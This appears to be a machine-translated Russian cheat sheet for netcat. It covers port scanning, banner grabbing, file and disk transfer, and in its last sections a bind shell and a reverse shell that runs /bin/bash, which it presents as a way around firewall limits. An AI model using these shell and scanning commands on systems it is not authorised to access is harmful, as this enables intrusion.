Начало работы
Использование
Подключение к хосту, расположенному в любом месте
Шелл-скрипт $ nc [options] [host] [port]
Прослушивание входящих соединений
```Шелл-скрипт
$ nc -lp port [host] [port]
Примеры опций
Опция | Описание | Пример |
---|---|---|
-h |
nc -h | Help |
-z |
nc -z 192.168.1.9 1-100 | Сканирование порта для хоста или IP-адреса |
-v |
nc -zv 192.168.1.9 1-100 | Предоставить подробный вывод |
-n |
nc -zn 192.168.1.9 1-100 | Быстрое сканирование путем отключения разрешения DNS |
-l |
nc -lp 8000 | Режим прослушивания TCP (для входящих соединений) |
-w |
nc -w 180 192.168.1.9 8000 | Определить значение тайм-аута |
-k |
nc -kl 8000 | Продолжать прослушивание после разъединения |
-u |
nc -u 192.168.1.9 8000 | Использовать UDP вместо TCP |
-q |
nc -q 1 192.168.1.9 8000 | Клиент продолжает работать после EOF |
-4 |
nc -4 -l 8000 | Только IPv4 |
-6 |
nc -6 -l 8000 | Только IPv6 |
Чат клиент-сервер
Сервер (192.168.1.9) Шелл-скрипт $ nc -lv 8000
Клиент
```Шелл-скрипт
$ nc 192.168.1.9 8000
Примеры Netcat
Захват баннера
Шелл-скрипт $ nc website.com 80 GET index.html HTTP/1.1 HEAD / HTTP/1.1
или
``хилый скрипт
echo "" | nc -zv -wl 192.168.1.1 801-805
Сканирование портов
Сканирование портов с 21 по 25
$ nc -zvn 192.168.1.1 21-25
Сканирование портов 22, 3306 и 8080
$ nc -zvn 192.168.1.1 22 3306 8080
Прокси и проброс портов
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
или
$ nc -l 8001 | nc 127.0.0.1 8000
Создание туннеля от одного локального порта к другому
Скачать файл
Сервер (192.168.1.9) ``Сценарий командной строки $ nc -lv 8000 < file.txt
Клиент
сценарий
$ nc -nv 192.168.1.9 8000 > file.txt
Предположим, что необходимо передать файл “file.txt” с сервера A на клиент B.
Загрузка файла
Сервер (192.168.1.9) ``Сценарий командной строки $ nc -lv 8000 > file.txt
Клиент
``Основной сценарий
$ nc 192.168.1.9 8000 < file.txt
Предположим, что необходимо передать файл “file.txt” с клиента B на сервер A:
Передача каталога
Сервер (192.168.1.9) ``Основной сценарий $ tar -cvf - имя_директории | nc -l 8000
Клиент
``Шелл-скрипт
$ nc -n 192.168.1.9 8000 | tar -xvf -.
Предположим, что необходимо передать по сети каталог из точки A в точку B.
Зашифровать передачу
Сервер (192.168.1.9) ``Шелевой сценарий $ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
Клиент
```Шелл-скрипт
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
Шифрование данных перед передачей по сети
Клоны
Сервер (192.168.1.9) ``Сценарий командной строки $ dd if=/dev/sda | nc -l 8000
Клиент
``Шелл-скрипт
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
Клонирование ПК с ОС linux очень просто. Предположим, что ваш системный диск - /dev/sda
Видеопоток
Сервер (192.168.1.9) командный сценарий $ cat video.avi | nc -l 8000
Клиент
```Шелл-скрипт {.wrap}
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -.
Потоковое видео с помощью netcat
Удаленная оболочка
Сервер (192.168.1.9) ``Сценарий оболочки $ nc -lv 8000 -e /bin/bash
Клиент
``Шелл-скрипт
$ nc 192.168.1.9 8000
Мы использовали удаленную оболочку с помощью telnet и ssh, но что делать, если они не установлены и у нас нет прав на их установку, тогда мы можем создать удаленную оболочку и с помощью netcat.
Обратная оболочка
Сервер (192.168.1.9) ``Сценарий оболочки $ nc -lv 8000
Клиент
```Шелл-скрипт
$ nc 192.168.1.9 8000 -v -e /bin/bash
Обратные оболочки часто используются для обхода ограничений брандмауэра, например, блокировки входящих соединений